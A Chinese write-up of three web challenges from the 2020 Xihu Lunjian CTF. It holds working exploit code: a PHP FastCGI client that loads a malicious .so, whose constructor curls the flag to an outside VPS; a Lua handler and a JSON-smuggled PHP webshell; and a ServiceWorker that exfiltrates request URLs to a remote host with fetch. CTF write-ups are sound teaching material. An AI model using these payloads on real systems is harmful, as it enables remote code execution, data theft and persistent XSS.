zoukankan      html  css  js  c++  java
  • 2020西湖论剑 baby writeup

    原文链接:http://phoebe233.cn/?p=271

    赵总杀我

    NewUpload

    图片

    有宝塔waf,上传php文件或者文件内容包含php等都会502,然后504

    后来发现可以用图片马+后缀换行来绕

    图片

    然后有disable_functions和open_basedir,在shell里执行phpinfo();会被宝塔拦,所以要么直接写死在文件里,要么就动态掉用

    图片

    在这里插入图片描述

    exp:

    <?php 
    class Client
    {
        const VERSION_1            = 1;
        const BEGIN_REQUEST        = 1;
        const PARAMS               = 4;
        const STDIN                = 5;
        const STDOUT               = 6;
        const STDERR               = 7;
        const DATA                 = 8;
        const GET_VALUES           = 9;
        const GET_VALUES_RESULT    = 10;
        const UNKNOWN_TYPE         = 11;
        const RESPONDER            = 1;
        protected $keepAlive = false;
        protected $_requests = array();
        protected $_requestCounter = 0;
        protected function buildPacket($type, $content, $requestId = 1)
        {
            $offset = 0;
            $totLen = strlen($content);
            $buf    = '';
            do {
                // Packets can be a maximum of 65535 bytes
                $part = substr($content, $offset, 0xffff - 8);
                $segLen = strlen($part);
                $buf .= chr(self::VERSION_1)        /* version */
                    . chr($type)                    /* type */
                    . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
                    . chr($requestId & 0xFF)        /* requestIdB0 */
                    . chr(($segLen >> 8) & 0xFF)    /* contentLengthB1 */
                    . chr($segLen & 0xFF)           /* contentLengthB0 */
                    . chr(0)                        /* paddingLength */
                    . chr(0)                        /* reserved */
                    . $part;                        /* content */
                $offset += $segLen;
            } while ($offset < $totLen);
            return $buf;
        }
        protected function buildNvpair($name, $value)
        {
            $nlen = strlen($name);
            $vlen = strlen($value);
            if ($nlen < 128) {
                /* nameLengthB0 */
                $nvpair = chr($nlen);
            } else {
                /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
                $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
            }
            if ($vlen < 128) {
                /* valueLengthB0 */
                $nvpair .= chr($vlen);
            } else {
                /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
                $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
            }
            /* nameData & valueData */
            return $nvpair . $name . $value;
        }
        protected function readNvpair($data, $length = null)
        {
            if ($length === null) {
                $length = strlen($data);
            }
            $array = array();
            $p = 0;
            while ($p != $length) {
                $nlen = ord($data{$p++});
                if ($nlen >= 128) {
                    $nlen = ($nlen & 0x7F << 24);
                    $nlen |= (ord($data{$p++}) << 16);
                    $nlen |= (ord($data{$p++}) << 8);
                    $nlen |= (ord($data{$p++}));
                }
                $vlen = ord($data{$p++});
                if ($vlen >= 128) {
                    $vlen = ($nlen & 0x7F << 24);
                    $vlen |= (ord($data{$p++}) << 16);
                    $vlen |= (ord($data{$p++}) << 8);
                    $vlen |= (ord($data{$p++}));
                }
                $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
                $p += ($nlen + $vlen);
            }
            return $array;
        }
        public function buildAllPacket(array $params, $stdin)
        {
            // Ensure new requestID is not already being tracked
            do {
                $this->_requestCounter++;
                if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
                    $this->_requestCounter = 1;
                }
                $id = $this->_requestCounter;
            } while (isset($this->_requests[$id]));
            $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
            $paramsRequest = '';
            foreach ($params as $key => $value) {
                $paramsRequest .= $this->buildNvpair($key, $value, $id);
            }
            if ($paramsRequest) {
                $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
            }
            $request .= $this->buildPacket(self::PARAMS, '', $id);
            if ($stdin) {
                $request .= $this->buildPacket(self::STDIN, $stdin, $id);
            }
            $request .= $this->buildPacket(self::STDIN, '', $id);
            return $request;
        }
    }
    $sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);
    $client = new Client();
    $payload_file = "/tmp/ups.php";
    $params = array(
        'REQUEST_METHOD' => 'GET',
        'SCRIPT_FILENAME' => $payload_file,
        'PHP_ADMIN_VALUE' => "extension_dir = /tmp
    extension = h.so",
    );
    $data = $client->buildAllPacket($params, '');
    fwrite($sock, $data);
    var_dump(fread($sock, 4096));
    ?>
    

    编译一个so

    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    __attribute__ ((__constructor__)) void preload (void)
    {
        system("curl vps:6666/`/readflag`");
    }
    
    gcc hpdoger.c -fPIC -shared -o hpdoger.so
    

    然后vps开个http,把ups.php,h.so都copy到tmp目录,再写一个php包含就弹了(比赛刚结束5分钟才成功wtcl)
    图片

    康了下其他师傅的解法,发现还有利用lua的
    .htaccess

    AddHandler lua-script .lua
    

    lua

    require "string"
    
    function handle(r)
        r.content_type = "text/plain"
        local t = io.popen('/readflag')
        local a = t:read("*all")
        r:puts(a)
    
        if r.method == 'GET' then
            for k, v in pairs( r:parseargs() ) do
                r:puts( string.format("%s: %s
    ", k, v) )
            end
        else
            r:puts("Unsupported HTTP method " .. r.method)
        end
    end
    

    在这里插入图片描述

    EasyJson

    <?php
    include 'security.php';
    if(!isset($_GET['source'])){
        show_source(__FILE__);
        die();
    }
    $sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
    var_dump($sandbox);
    if(!file_exists($sandbox)){
        mkdir($sandbox);
        file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
    }
    $action = $_GET['action'];
    $content = file_get_contents("php://input");
    
    if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
        $content = json_decode($content);
        $filename = $_GET['filename'];
        $filecontent = $content->content;
        $filename = $sandbox.$filename;
        file_put_contents($filename,$filecontent."
     Powered By Dbapp OSS.");
    }elseif($action == "reset"){
        $files = scandir($sandbox);
        foreach($files as $file) {
            if(!is_dir($file)){
                if($file !== "index.php"){
                    unlink($sandbox.$file);
                }
            }
        }
    }
    else{
        die('Security Check Failed.');
    }
    

    unicode绕一下content,写个json格式的post过去/readflag就行了

    {"u0063u006fu006eu0074u0065u006eu0074":"<?=system($_GET[0]);?>"}
    

    图片

    HardXss

    这题考的是ServiceWorker,
    简单的讲,是浏览器在后台独立于网页运行的脚本。可以简单的认为是一个介于客户端和服务端之间的代理服务器,最重要的作用之一就是缓存离线资源。

    SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。

    也就是说我们可以用sw拦截更改请求

    限制:

    • sw无法直接访问DOM
    • 只能在localhost和https上使用
    • 用来注册的js需要同源

    例如有可控的callback

    <?php
    // JSONP 回调名缺少校验
    $cb_name = $_GET['callback'];
    $cb_data = time();
    
    header('Content-Type: application/javascript');
    echo("$cb_name($cb_data)");
    

    使用importScript加载js注册sw

    1.js

    var url="//localhost/test/sand/?callback=importScripts('//localhost/test/sand/2.js')//";
    if ('serviceWorker' in navigator) {
     navigator.serviceWorker.register(url)
     .then(function(registration) {
     console.log('ServiceWorker registration successful with scope: ', registration.scope);
     })
    };
    

    2.js 监听事件,拦截更改

    self.addEventListener('install', function(event) {
            console.log('install ok!');
    });
    self.addEventListener('fetch', function (event) {  
        var url = event.request.clone(); 
        body = "<script>alert(location.search);</script>";
        init = {headers: { 'Content-Type': 'text/html' }};
        if(url.url.startsWith('http://localhost/test/sand/login.html')){
            res  = new Response(body,init);
            event.respondWith(res.clone());
        }
    });
    

    首先importScript("//localhost/test/sand/1.js"),浏览器会加载1.js,并在sand目录创建sw,然后同时1.js又会调用callback加载2.js,增加fetch事件
    在这里插入图片描述
    在这里插入图片描述
    本题中存在两个子域名
    https://xss.hardxss.xhlj.wetolink.com/
    https://auth.hardxss.xhlj.wetolink.com/

    根据jsonp提示,在xss的登陆页面发现jsonp,并且auto_reg_var可变量覆盖,也就是可以覆盖造成xss
    https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//
    auth子域有可控的callback
    在这里插入图片描述
    并且在xss登陆会跳转到auth进行验证
    在这里插入图片描述
    但是我们只能在xss子域importScript来往auth注册serviceworker,这就要跨域了

    参考这个:

    • 通过新建iframe和设置document.domain来使iframe和父body的js可以实现互通。
    • iframe的src设置为https://auth.hardxss.xhlj.wetolink.com/
    • 最后在iframe中执行注册service worker的js即可

    1.js

    document.domain = "xss.eec5b2.challenge.gcsis.cn";
    var iff = document.createElement('iframe');
    iff.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
    iff.addEventListener("load", function(){ iffLoadover(); });
    document.body.appendChild(iff);
    exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//ip/2.js')//")`;
    function iffLoadover(){
    	iff.contentWindow.eval(exp);
    }
    

    2.js

    self.addEventListener('install', function(event) {
            console.log('install ok!');
    });
    
    self.addEventListener('fetch', function (event) {
            console.log(event.request);
         event.respondWith(
            caches.match(event.request).then(function(res){
            return requestBackend(event);
            })
            )
       });
    
    function requestBackend(event){
            var url = event.request.clone();
            console.log(url.url)
            fetch("https:/vps/?flag="+btoa(url.url));
    }
    

    最后在xss子域importScript 1.js,首先由于document.domain都为父域,1.js会在auth注册一个sw,然后通过callback去加载2.js,增加fetch事件,并跳到vps

  • 相关阅读:
    Leetcode OJ: Rotate List
    Leetcode OJ: Reverse Words in a String
    Effective C++读书笔记
    word改变下划线与文字的距离
    sql 取出表中不重复的值
    Iso文件用utrliso怎么安装
    Spring注入aspectJ切面
    Spring中利用java注解声明切面
    Spring面向切面编程
    spring中部分异常
  • 原文地址:https://www.cnblogs.com/W4nder/p/13784771.html
Copyright © 2011-2022 走看看